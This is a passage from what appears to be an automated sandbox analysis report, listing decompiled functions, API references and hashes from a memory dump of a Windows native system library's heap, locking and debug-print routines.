RtlFreeHeap.1105(?,00000000,?,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019), ref: 6D253A53

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCultureFreeInitNameStringUnicode
String ID:
API String ID: 3431183669-0
Opcode ID: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction ID: 402c247433fb351e9c6093646852534f618f862e952a114f9220069290627ef6
Opcode Fuzzy Hash: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction Fuzzy Hash: 6A91FF7168839B8BD705DF18C080BAAB7E0FF85355F09896EFDA187291D371C895CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6D312EF7, Relevance: 9.2, APIs: 6, Instructions: 183
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E6D312EF7(void* __ecx, signed int __edx, void* _a8, signed int _a12) {
				char _v5;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t62;
				void* _t71;
				signed int _t94;
				signed int _t105;
				signed int _t106;
				void* _t107;
				signed int _t114;
				signed int _t115;
				signed int _t141;
				signed int _t142;
				signed char _t145;
				signed char _t146;
				void* _t154;
				signed int _t155;
				void* _t156;
				signed int _t160;
				signed int _t164;
				void* _t165;
				signed int _t172;
				signed int _t174;

				_push(__ecx);
				_push(__ecx);
				_t105 = __edx;
				_t154 = __ecx;
				_t160 =  *__edx ^ __edx;
				_t141 =  *(__edx + 4) ^ __edx;
				if(( *(_t160 + 4) ^ _t160) != __edx || ( *_t141 ^ _t141) != __edx) {
					_t114 = 3;
					asm("int 0x29");
					_t174 = (_t172 & 0xfffffff8) - 0x24;
					_t62 =  *0x6d33d360 ^ _t174;
					_v32 = _t62;
					_push(_t105);
					_push(_t160);
					_t106 = _t114;
					_t115 = _v20;
					_push(_t154);
					_t155 = _t141;
					_t142 = _v16;
					__eflags = _t115;
					if(__eflags != 0) {
						asm("bsf esi, ecx");
					} else {
						asm("bsf esi, edx");
						_t62 = (_t62 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff;
						__eflags = _t62;
						if(_t62 == 0) {
							_t160 = _v44;
						} else {
							_t160 = _t160 + 0x20;
						}
					}
					__eflags = _t142;
					if(__eflags == 0) {
						asm("bsr eax, ecx");
					} else {
						asm("bsr ecx, edx");
						if(__eflags == 0) {
							_t62 = _v44;
						} else {
							_t27 = _t115 + 0x20; // 0x20
							_t62 = _t27;
						}
					}
					_v56 = (_t160 << 0xc) + _t155;
					_v60 = _t62 - _t160 + 1 << 0xc;
					_t71 = E6D28D0F0(1, _t62 - _t160 + 1, 0);
					asm("adc edx, 0xffffffff");
					_v52 = E6D28D0F0(_t71 + 0xffffffff, _t160, 0);
					_v48 = 0;
					_v44 = _t155 + 0x10;
					E6D262280(_t155 + 0x10, _t155 + 0x10);
					__eflags = _a12;
					_push(_v64);
					_push(_v60);
					_push( *((intOrPtr*)(_t106 + 0x20)));
					if(_a12 == 0) {
						 *0x6d33b1e0();
						 *( *(_t106 + 0x30) ^  *0x6d336110 ^ _t106)();
						 *(_t155 + 0xc) =  *(_t155 + 0xc) &  !_v60;
						_t54 = _t155 + 8;
						 *_t54 =  *(_t155 + 8) &  !_v64;
						__eflags =  *_t54;
						goto L18;
					} else {
						 *0x6d33b1e0();
						_t164 =  *( *(_t106 + 0x2c) ^  *0x6d336110 ^ _t106)();
						__eflags = _t164;
						if(_t164 >= 0) {
							 *(_t155 + 8) =  *(_t155 + 8) | _v64;
							 *(_t155 + 0xc) =  *(_t155 + 0xc) | _v60;
							L18:
							asm("lock xadd [eax], ecx");
							_t164 = 0;
							__eflags = 0;
						}
					}
					E6D25FFB0(_t106, _t155, _v56);
					_pop(_t156);
					_pop(_t165);
					_pop(_t107);
					__eflags = _v48 ^ _t174;
					return E6D28B640(_t164, _t107, _v48 ^ _t174, 0, _t156, _t165);
				} else {
					_t94 = _t141 ^ _t160;
					 *_t141 = _t94;
					 *(_t160 + 4) = _t94;
					_t145 =  !( *(__edx + 8));
					_t146 = _t145 >> 8;
					_v12 = _t146 >> 8;
					_v5 =  *((intOrPtr*)((_t145 & 0x000000ff) + 0x6d22ac00)) +  *((intOrPtr*)((_t146 & 0x000000ff) + 0x6d22ac00));
					asm("lock xadd [eax], edx");
					return __ecx + 0x18;
				}
			}

0x6d312efc
0x6d312efd
0x6d312eff
0x6d312f03
0x6d312f0a
0x6d312f0c
0x6d312f15
0x6d312fba
0x6d312fbb
0x6d312fc5
0x6d312fcd
0x6d312fcf
0x6d312fd3
0x6d312fd4
0x6d312fd5
0x6d312fd7
0x6d312fda
0x6d312fdb
0x6d312fdd
0x6d312fe0
0x6d312fe2
0x6d312ffc
0x6d312fe4
0x6d312fe4
0x6d312fea
0x6d312fed
0x6d312fef
0x6d312ff6
0x6d312ff1
0x6d312ff1
0x6d312ff1
0x6d312fef
0x6d312fff
0x6d313001
0x6d31301b
0x6d313003
0x6d313003
0x6d31300e
0x6d313015
0x6d313010
0x6d313010
0x6d313010
0x6d313010
0x6d31300e
0x6d31302c
0x6d313035
0x6d31303c
0x6d313046
0x6d31304e
0x6d313056
0x6d31305a
0x6d31305e
0x6d313063
0x6d313067
0x6d31306b
0x6d31306f
0x6d313072
0x6d3130af
0x6d3130b5
0x6d3130c1
0x6d3130c9
0x6d3130c9
0x6d3130c9
0x00000000
0x6d313074
0x6d313081
0x6d313089
0x6d31308b
0x6d31308d
0x6d313093
0x6d31309a
0x6d3130ce
0x6d3130d1
0x6d3130d5
0x6d3130d5
0x6d3130d5
0x6d31308d
0x6d3130db
0x6d3130e6
0x6d3130e7
0x6d3130e8
0x6d3130e9
0x6d3130f3
0x6d312f27
0x6d312f29
0x6d312f2b
0x6d312f2d
0x6d312f36
0x6d312f3d
0x6d312f4c
0x6d312f58
0x6d312fad
0x6d312fb7
0x6d312fb7

APIs

_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6D30B632,?,00000000), ref: 6D31303C
_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6D30B632,?,00000000), ref: 6D313049
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000,?,?,?,?,6D30B632,?,00000000), ref: 6D31305E
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6D313081
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6D3130AF
RtlReleaseSRWLockExclusive.1105(?), ref: 6D3130DB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugExclusiveLockPrintTimes_allshl$AcquireRelease
String ID:
API String ID: 4236268356-0
Opcode ID: 1625500b048edc5792649668eb3cfb27df0734e76d4939f7d90e4bbf11df0514
Instruction ID: f3b25f4c372f16102916b8f1bba8c1f06d98bcdfe10b894c4e36da69cba5e99a
Opcode Fuzzy Hash: 1625500b048edc5792649668eb3cfb27df0734e76d4939f7d90e4bbf11df0514
Instruction Fuzzy Hash: B551FA326082568FC718CF2AC89156ABBE5FFC9321B068669F895DB381DB34DD15CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D24B171, Relevance: 9.2, APIs: 6, Instructions: 166
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6D24B171(signed short __ebx, void* __ecx, void* __edx, void* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				int _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				void* _t106;
				void* _t110;
				int _t111;
				void* _t114;
				void* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x6d31f7a8);
				E6D29D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *(_t114 - 0x84) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E6D29D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E6D28D000(0x80);
						 *(_t114 - 0x18) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *(_t114 - 0x84);
						_t110 = _t106;
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						memcpy(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t108 + _t111;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *(_t114 - 0x5c) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											E6D29DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E6D28B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E6D28B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E6D28E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E6D28A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x6d24b171
0x6d24b171
0x6d24b171
0x6d24b171
0x6d24b171
0x6d24b176
0x6d24b17b
0x6d24b180
0x6d24b186
0x6d24b18f
0x6d24b198
0x6d24b1a4
0x6d24b1aa
0x6d2a4802
0x6d2a4802
0x6d2a4805
0x6d2a480c
0x6d2a480e
0x6d24b1d1
0x6d24b1d3
0x6d24b1de
0x6d24b1de
0x6d2a4817
0x6d2a481e
0x6d2a4820
0x6d2a4822
0x6d2a4822
0x6d2a4824
0x6d2a4824
0x6d2a482a
0x00000000
0x00000000
0x6d2a4835
0x6d2a483a
0x6d2a483d
0x6d2a483f
0x6d2a4842
0x6d2a4842
0x6d2a4842
0x6d2a4846
0x6d2a484c
0x6d2a484e
0x6d2a4851
0x6d2a4851
0x6d2a4853
0x6d2a4854
0x6d2a4854
0x6d2a4858
0x6d2a485a
0x6d2a485a
0x6d2a485d
0x6d2a485f
0x6d2a4861
0x6d2a4861
0x6d2a4866
0x6d2a486b
0x6d2a486e
0x6d2a4871
0x6d2a4876
0x6d2a4876
0x6d2a4878
0x6d2a487b
0x6d2a4884
0x6d2a4884
0x00000000
0x6d2a487d
0x6d2a487d
0x6d2a4882
0x6d2a4889
0x6d2a4889
0x6d2a488f
0x6d2a4891
0x6d2a48e0
0x6d2a48e2
0x6d2a48e4
0x6d2a48e4
0x6d2a48e7
0x6d2a48e7
0x6d2a48ed
0x6d2a48f4
0x6d2a48f6
0x6d2a4951
0x6d2a4951
0x6d2a4953
0x6d2a4953
0x6d2a4956
0x6d2a4956
0x6d2a4958
0x6d2a4959
0x6d2a4959
0x6d2a495d
0x6d2a495d
0x6d2a495f
0x6d2a495f
0x6d2a4965
0x6d2a4969
0x6d2a49ba
0x6d2a49ba
0x6d2a49c1
0x6d2a49c5
0x6d2a49cc
0x6d2a49d4
0x6d2a49d7
0x6d2a49da
0x6d2a49e4
0x6d2a49e5
0x6d2a49f3
0x6d2a4a02
0x00000000
0x6d2a4a02
0x6d2a4972
0x6d2a4974
0x00000000
0x00000000
0x6d2a4976
0x6d2a4979
0x6d2a4982
0x6d2a4983
0x6d2a4984
0x6d2a498b
0x6d2a498d
0x6d2a4991
0x6d2a4993
0x6d2a4999
0x6d2a499d
0x6d2a49a2
0x6d2a49a2
0x6d2a49a2
0x6d2a4999
0x6d2a49ac
0x00000000
0x6d2a49b3
0x6d2a48f8
0x6d2a48fe
0x00000000
0x00000000
0x00000000
0x6d2a48fe
0x6d2a4895
0x6d2a489c
0x6d2a48ad
0x6d2a48b2
0x6d2a48b5
0x6d2a48b7
0x6d2a48ba
0x6d2a48bc
0x6d2a48c6
0x6d2a48c6
0x6d2a48cb
0x6d2a48d1
0x6d2a48d4
0x6d2a48d8
0x6d2a48d8
0x00000000
0x6d2a48d8
0x6d2a48be
0x6d2a48c0
0x00000000
0x00000000
0x6d2a48c2
0x00000000
0x00000000
0x00000000
0x6d2a48c4
0x00000000
0x6d2a4882
0x6d2a487b
0x6d2a4904
0x6d2a4906
0x00000000
0x00000000
0x6d2a4908
0x6d2a490e
0x00000000
0x00000000
0x6d2a4910
0x6d2a4917
0x6d2a4917
0x00000000
0x6d2a4917
0x6d24b1ba
0x6d2a47f9
0x6d2a47fc
0x00000000
0x00000000
0x00000000
0x6d2a47fc
0x6d24b1c0
0x6d24b1c0
0x6d24b1c3
0x6d24b1cb
0x00000000
0x00000000
0x00000000

APIs

ZwQueryDebugFilterState.1105(?,6D28B627,6D31F7A8,00000090,6D24B16E,00000003,6D28B627,0000000A,00000001,00000000,0000000A,6D28B627,Invalid parameter passed to C runtime function.), ref: 6D24B1C4
_alloca_probe_16.1105(6D31F7A8,00000090,6D24B16E,00000003,6D28B627,0000000A,00000001,00000000,0000000A,6D28B627,Invalid parameter passed to C runtime function.), ref: 6D2A4835
memcpy.1105(?,?,?,6D31F7A8,00000090,6D24B16E,00000003,6D28B627,0000000A,00000001,00000000,0000000A,6D28B627), ref: 6D2A4866
_vsnprintf.1105(?,-00000081,?,?,0000000A,6D28B627), ref: 6D2A48AD
ZwWow64DebuggerCall.1105(00000001,00000000,7FFE02D4,?,6D28B627,6D31F7A8,00000090,6D24B16E,00000003,6D28B627,0000000A,00000001,00000000,0000000A,6D28B627,Invalid parameter passed to C runtime function.), ref: 6D2A4986

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CallDebugDebuggerFilterQueryStateWow64_alloca_probe_16_vsnprintfmemcpy
String ID:
API String ID: 1346858437-0
Opcode ID: bc1c7c8847b2d7deb9fe41b8470138ad1c37b3e8033fe053f12a6435b44976d6
Instruction ID: 7c12b3c710f8933b3cc92d2fa7adb8efc64e51108cde517fdb6e1437bb7a8880
Opcode Fuzzy Hash: bc1c7c8847b2d7deb9fe41b8470138ad1c37b3e8033fe053f12a6435b44976d6
Instruction Fuzzy Hash: 5A510471D5825F8EDB21CF64C840BAEBBB0FF49714F2581ADD85D9B281DB3089468B91

Uniqueness

Uniqueness Score: -1.00%

Function 6D31740D, Relevance: 9.1, APIs: 6, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6D31740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E6D29D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E6D28F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					memcpy(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x6d31740d
0x6d317412
0x6d317413
0x6d317416
0x6d317418
0x6d31741c
0x6d31741f
0x6d317422
0x6d317422
0x6d317428
0x6d31742a
0x6d31742a
0x6d317451
0x6d317432
0x6d31744f
0x6d31744f
0x00000000
0x6d317434
0x6d317438
0x6d317443
0x6d317517
0x6d317517
0x6d31751a
0x6d317535
0x6d317520
0x6d317527
0x6d31752c
0x6d317531
0x6d317533
0x00000000
0x6d317533
0x00000000
0x6d317531
0x6d31754b
0x6d31754f
0x6d31755c
0x6d31755c
0x6d31755f
0x6d317560
0x6d317561
0x6d317562
0x6d317563
0x6d317568
0x6d31756a
0x6d31756c
0x6d31756d
0x6d31756d
0x6d31756f
0x6d317572
0x6d317574
0x6d317577
0x6d31757c
0x6d31757f
0x00000000
0x6d317551
0x6d317551
0x6d317551
0x6d317553
0x6d317553
0x6d317449
0x6d317449
0x6d31744c
0x6d31744c
0x00000000
0x6d31744c
0x6d317443
0x6d31750e
0x6d317514
0x6d317514
0x6d317455
0x6d317469
0x6d31746d
0x00000000
0x6d317473
0x6d317473
0x6d317476
0x6d317480
0x6d317484
0x6d31748e
0x6d317493
0x6d317493
0x6d317496
0x6d317499
0x6d3174a1
0x6d3174b1
0x6d3174b5
0x00000000
0x6d3174bb
0x6d3174c1
0x6d3174c1
0x6d3174c4
0x6d3174c5
0x6d3174c6
0x6d3174c7
0x6d3174c8
0x6d3174cd
0x00000000
0x6d3174d3
0x6d3174d3
0x6d3174d6
0x6d3174d8
0x6d3174db
0x6d3174dd
0x6d3174e0
0x6d3174e7
0x6d3174ee
0x6d3174ee
0x6d3174f4
0x6d3174f9
0x00000000
0x6d3174fb
0x6d3174fb
0x6d3174fd
0x6d317500
0x6d317503
0x6d317505
0x6d317505
0x6d3174f9
0x00000000
0x6d3174cd
0x6d3174b5
0x00000000

APIs

RtlCompareMemory.1105(00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6D2C14C4,0000000C,?,?,00000000,00000066,00000000), ref: 6D31743C
RtlAllocateHeap.1105(?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6D2C14C4,0000000C,?,?,00000000,00000066,00000000), ref: 6D317464
memcpy.1105(00000018,?,00000000,?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6D2C14C4,0000000C,?,?), ref: 6D317484
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6D3174AC
memcmp.1105(00000066,00000008,00000010,00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6D2C14C4,0000000C,?,?), ref: 6D317527
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6D317546

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CompareMemorymemcmpmemcpy
String ID:
API String ID: 3500240269-0
Opcode ID: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction ID: 11381e4c26dc1906b874bc53eb2b6754055204a3aaf1f1d8d365801c96853784
Opcode Fuzzy Hash: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction Fuzzy Hash: 1F5191B1944607DFDB19CF14C881A56BBB5FF45304F19C0BAE9089F251E772E946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D250100, Relevance: 9.1, APIs: 6, Instructions: 122
nativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D250100(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				char _t38;
				void* _t42;
				signed int* _t43;
				signed int _t44;
				signed int _t49;
				char _t59;
				intOrPtr* _t61;
				void* _t62;
				signed int _t65;
				intOrPtr _t67;
				signed int _t70;
				signed int _t72;
				void* _t73;

				_push(0x1c);
				_push(0x6d31f848);
				_t37 = E6D29D08C(__ebx, __edi, __esi);
				_t59 = 0;
				 *((char*)(_t73 - 0x19)) = 0;
				if( *((intOrPtr*)(_t73 + 8)) == 0) {
					_t38 = 0;
					L7:
					return E6D29D0D1(_t38);
				}
				E6D262280(_t37, 0x6d33861c);
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t72 =  *0x6d336da4;
				if(_t72 == 0) {
					_t59 = 1;
					L26:
					 *((char*)(_t73 - 0x19)) = _t59;
					L6:
					 *(_t73 - 4) = 0xfffffffe;
					E6D25021A();
					_t38 = _t59;
					goto L7;
				}
				_t70 = _t72;
				 *(_t73 - 0x24) = _t70;
				_t42 =  *0x6d336da0;
				 *(_t73 - 0x20) = _t42;
				while(_t70 > 0) {
					_t65 = _t70 << 5;
					if( *((intOrPtr*)(_t65 + _t42 - 0x1c)) ==  *((intOrPtr*)(_t73 + 8))) {
						_t61 = _t42 - 0x20 + _t65;
						 *((intOrPtr*)(_t73 - 0x28)) = _t61;
						_t14 = _t61 + 0x10; // 0x10f
						_t43 = _t14;
						 *(_t73 - 0x2c) = _t43;
						_t44 =  *_t43;
						if(_t44 == 0) {
							L21:
							_t62 =  *(_t73 - 0x20);
							L16:
